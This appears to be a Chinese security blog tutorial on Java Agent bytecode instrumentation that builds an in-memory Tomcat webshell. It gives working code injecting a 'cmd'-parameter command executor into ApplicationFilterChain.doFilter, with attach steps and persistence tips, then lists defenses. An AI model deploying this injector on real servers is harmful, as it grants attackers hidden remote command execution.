从Java Agent到内存马
字数 1752 2025-08-10 22:08:13

Java Agent与内存马技术详解

一、Java Agent基础

1. Java Agent概述

Java Agent是一种能够在JVM启动时或运行时动态修改字节码的技术,核心功能是进行字节码插桩(bytecode instrumentation)。它通过JVMTI(JVM Tool Interface)实现,JVMTI是JVM暴露给用户的扩展接口集合,基于事件驱动机制。

2. Java Agent启动方式

Java Agent有两种启动时机和对应的启动方式:

Load-Time Instrumentation (加载时插桩)

  • 时机:类加载时
  • 启动方式:命令行启动
java -cp ./target/classes/ -javaagent:./target/TheAgent.jar sample.Program

Dynamic Instrumentation (动态插桩)

  • 时机:类加载后
  • 启动方式:通过Attach机制启动
import com.sun.tools.attach.VirtualMachine;
public class VMAttach {
    public static void main(String[] args) throws Exception {
        String pid = "1234";
        String agentPath = "D:\\git-repo\\learn-java-agent\\target\\TheAgent.jar";
        VirtualMachine vm = VirtualMachine.attach(pid);
        vm.loadAgent(agentPath);
        vm.detach();
    }
}

3. Agent Jar核心组件

Agent Jar的manifest文件中包含以下关键属性:

属性 描述 必需性
Premain-Class JVM启动时指定代理类,包含premain方法 必需
Agent-Class 包含agentmain方法的类 必需
Can-Redefine-Classes 是否允许重定义类 可选,默认false
Can-Retransform-Classes 是否允许重新转换类 可选,默认false
Can-Set-Native-Method-Prefix 是否允许设置本地方法前缀 可选,默认false

二、Java Agent实现原理

1. 核心机制

  • JVM在类加载时触发JVMTI_EVENT_CLASS_FILE_LOAD_HOOK事件
  • 调用已注册的字节码转换器完成字节码转换
  • 通过java.lang.instrument.Instrumentation接口操作

2. 关键API

  • addTransformer(): 注册Class文件转换器
  • retransformClasses(): 对已加载的类进行重新转换
  • getAllLoadedClasses(): 获取所有已加载的类

三、实战:使用Agent Dump类文件

1. 准备工作

目录结构:

JAgentTest/
├── application/
│   ├── out/
│   ├── sample/
│   └── src/
└── java-agent/
    ├── out/
    ├── src/
    └── manifest.txt

2. 编写Agent核心组件

ClassDumpAgent.java

public class ClassDumpAgent {
    public static void premain(String agentArgs, Instrumentation inst) {
        agentmain(agentArgs, inst);
    }
    
    public static void agentmain(String agentArgs, Instrumentation inst) {
        // 解析参数
        ClassDumpUtils.parseArgs(agentArgs);
        inst.addTransformer(new ClassDumpTransformer(), true);
        
        // 处理已加载的类
        Class[] classes = inst.getAllLoadedClasses();
        List<Class> candidates = new ArrayList<>();
        for (Class c : classes) {
            // 筛选符合条件的类
            if (inst.isModifiableClass(c) && ClassDumpUtils.isCandidate(c.getName())) {
                candidates.add(c);
            }
        }
        
        // 重新转换选中的类
        if (!candidates.isEmpty()) {
            inst.retransformClasses(candidates.toArray(new Class[0]));
        }
    }
}

ClassDumpTransformer.java

public class ClassDumpTransformer implements ClassFileTransformer {
    public byte[] transform(ClassLoader loader, String className, Class redefinedClass, 
                          ProtectionDomain protDomain, byte[] classBytes) {
        if (ClassDumpUtils.isCandidate(className)) {
            ClassDumpUtils.dumpClass(className, classBytes);
        }
        return null; // 不修改原始字节码
    }
}

四、使用Agent替换JVM中的类

1. 修改TransClass示例

原始类:

public class TransClass {
    public int getNumber() {
        System.out.println("我返回1, 求HOOK");
        return 1;
    }
}

修改后的恶意类:

public class TransClass {
    public int getNumber() {
        System.out.println("Hooked by s8ark");
        return 2023;
    }
}

2. Transformer实现

public class Transformer implements ClassFileTransformer {
    public static final String classNumberReturns2 = "path/to/TransClass.class.2";
    
    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, 
                          ProtectionDomain protectionDomain, byte[] classfileBuffer) {
        if (!className.equals("TransClass")) return null;
        
        try {
            return getBytesFromFile(classNumberReturns2);
        } catch (Exception e) {
            e.printStackTrace();
            return null;
        }
    }
}

五、Javassist字节码操作

1. Javassist简介

Javassist是一个高级字节码操作库,相比ASM更易用但效率稍低。

2. 基本使用示例

public class JavasistMain {
    public static void main(String[] args) throws Exception {
        ClassPool classPool = ClassPool.getDefault();
        CtClass clz = classPool.get("com.s8ark.service.Service");
        CtMethod serviceMethod = clz.getDeclaredMethod("service");
        
        // 方法前插入代码
        serviceMethod.insertBefore("System.out.println(\"Insert before execute!\");");
        
        // 方法后插入代码
        serviceMethod.insertAfter("System.out.println(\"Insert after execute!\");");
        
        // 生成修改后的类
        clz.writeFile();
        Service service = (Service) clz.toClass().newInstance();
        service.service();
    }
}

六、构造Agent内存马

1. 目标选择

选择org.apache.catalina.core.ApplicationFilterChain类的doFilter方法作为注入点,因为:

  1. 所有请求都会经过该方法
  2. 方法中包含request和response对象

2. 恶意Transformer实现

public class Transformer implements ClassFileTransformer {
    public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
    
    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, 
                          ProtectionDomain protectionDomain, byte[] classfileBuffer) {
        className = className.replace("/", ".");
        if (!className.equals(ClassName)) return new byte[0];
        
        try {
            ClassPool classPool = ClassPool.getDefault();
            CtClass clz = classPool.get(className);
            CtMethod doFilterMethod = clz.getDeclaredMethod("doFilter");
            
            // 插入恶意代码
            doFilterMethod.insertBefore(
                "javax.servlet.http.HttpServletRequest req = request;\n" +
                "javax.servlet.http.HttpServletResponse res = response;\n" +
                "java.lang.String cmd = request.getParameter(\"cmd\");\n" +
                "if (cmd != null){\n" +
                "    try {\n" +
                "        java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" +
                "        java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
                "        String line;\n" +
                "        StringBuilder sb = new StringBuilder(\"\");\n" +
                "        while ((line=reader.readLine()) != null){\n" +
                "            sb.append(line).append(\"\\n\");\n" +
                "        }\n" +
                "        response.getOutputStream().print(sb.toString());\n" +
                "        response.getOutputStream().flush();\n" +
                "        response.getOutputStream().close();\n" +
                "    } catch (Exception e){\n" +
                "        e.printStackTrace();\n" +
                "    }\n" +
                "}"
            );
            
            byte[] bytes = clz.toBytecode();
            clz.detach();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[0];
        }
    }
}

3. AgentMain实现

public class AgentMain {
    public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
    
    public static void agentmain(String agentArgs, Instrumentation ins) {
        ins.addTransformer(new Transformer(), true);
        Class[] allLoadedClasses = ins.getAllLoadedClasses();
        
        for (Class clazz : allLoadedClasses) {
            if (clazz.getName().equals(ClassName)) {
                try {
                    ins.retransformClasses(new Class[]{clazz});
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }
    }
}

七、Agent内存马利用技巧

1. 上传两个jar包执行

  1. 上传Agent Jar和Attach工具Jar
  2. 通过Attach工具将Agent注入目标JVM

2. 进程注入实现无文件不死webshell

  • 不落地文件直接注入内存
  • 利用JVM Attach机制
  • 通过反射调用关键API避免直接依赖tools.jar

八、防御措施

  1. 禁用JVM Attach功能
  2. 监控VirtualMachine.attach调用
  3. 检查Agent Jar的加载
  4. 使用RASP防护内存马注入
  5. 定期检查关键类字节码完整性

九、总结

Java Agent技术提供了强大的字节码操作能力,可以用于:

  • 应用性能监控
  • 代码热修复
  • 动态增强功能

但同时也被恶意利用构造内存马,安全团队需要:

  1. 了解攻击原理
  2. 部署有效防护
  3. 建立检测机制
  4. 及时修补漏洞

通过深入理解Java Agent技术,可以更好地防御相关攻击,同时也能合理利用这项技术进行应用开发和运维。

Java Agent与内存马技术详解 一、Java Agent基础 1. Java Agent概述 Java Agent是一种能够在JVM启动时或运行时动态修改字节码的技术,核心功能是进行 字节码插桩(bytecode instrumentation) 。它通过JVMTI(JVM Tool Interface)实现,JVMTI是JVM暴露给用户的扩展接口集合,基于事件驱动机制。 2. Java Agent启动方式 Java Agent有两种启动时机和对应的启动方式: Load-Time Instrumentation (加载时插桩) 时机:类加载时 启动方式:命令行启动 Dynamic Instrumentation (动态插桩) 时机:类加载后 启动方式:通过Attach机制启动 3. Agent Jar核心组件 Agent Jar的manifest文件中包含以下关键属性: | 属性 | 描述 | 必需性 | |------|------|--------| | Premain-Class | JVM启动时指定代理类,包含premain方法 | 必需 | | Agent-Class | 包含agentmain方法的类 | 必需 | | Can-Redefine-Classes | 是否允许重定义类 | 可选,默认false | | Can-Retransform-Classes | 是否允许重新转换类 | 可选,默认false | | Can-Set-Native-Method-Prefix | 是否允许设置本地方法前缀 | 可选,默认false | 二、Java Agent实现原理 1. 核心机制 JVM在类加载时触发 JVMTI_EVENT_CLASS_FILE_LOAD_HOOK 事件 调用已注册的字节码转换器完成字节码转换 通过 java.lang.instrument.Instrumentation 接口操作 2. 关键API addTransformer() : 注册Class文件转换器 retransformClasses() : 对已加载的类进行重新转换 getAllLoadedClasses() : 获取所有已加载的类 三、实战:使用Agent Dump类文件 1. 准备工作 目录结构: 2. 编写Agent核心组件 ClassDumpAgent.java ClassDumpTransformer.java 四、使用Agent替换JVM中的类 1. 修改TransClass示例 原始类: 修改后的恶意类: 2. Transformer实现 五、Javassist字节码操作 1. Javassist简介 Javassist是一个高级字节码操作库,相比ASM更易用但效率稍低。 2. 基本使用示例 六、构造Agent内存马 1. 目标选择 选择 org.apache.catalina.core.ApplicationFilterChain 类的 doFilter 方法作为注入点,因为: 所有请求都会经过该方法 方法中包含request和response对象 2. 恶意Transformer实现 3. AgentMain实现 七、Agent内存马利用技巧 1. 上传两个jar包执行 上传Agent Jar和Attach工具Jar 通过Attach工具将Agent注入目标JVM 2. 进程注入实现无文件不死webshell 不落地文件直接注入内存 利用JVM Attach机制 通过反射调用关键API避免直接依赖tools.jar 八、防御措施 禁用JVM Attach功能 监控 VirtualMachine.attach 调用 检查Agent Jar的加载 使用RASP防护内存马注入 定期检查关键类字节码完整性 九、总结 Java Agent技术提供了强大的字节码操作能力,可以用于: 应用性能监控 代码热修复 动态增强功能 但同时也被恶意利用构造内存马,安全团队需要: 了解攻击原理 部署有效防护 建立检测机制 及时修补漏洞 通过深入理解Java Agent技术,可以更好地防御相关攻击,同时也能合理利用这项技术进行应用开发和运维。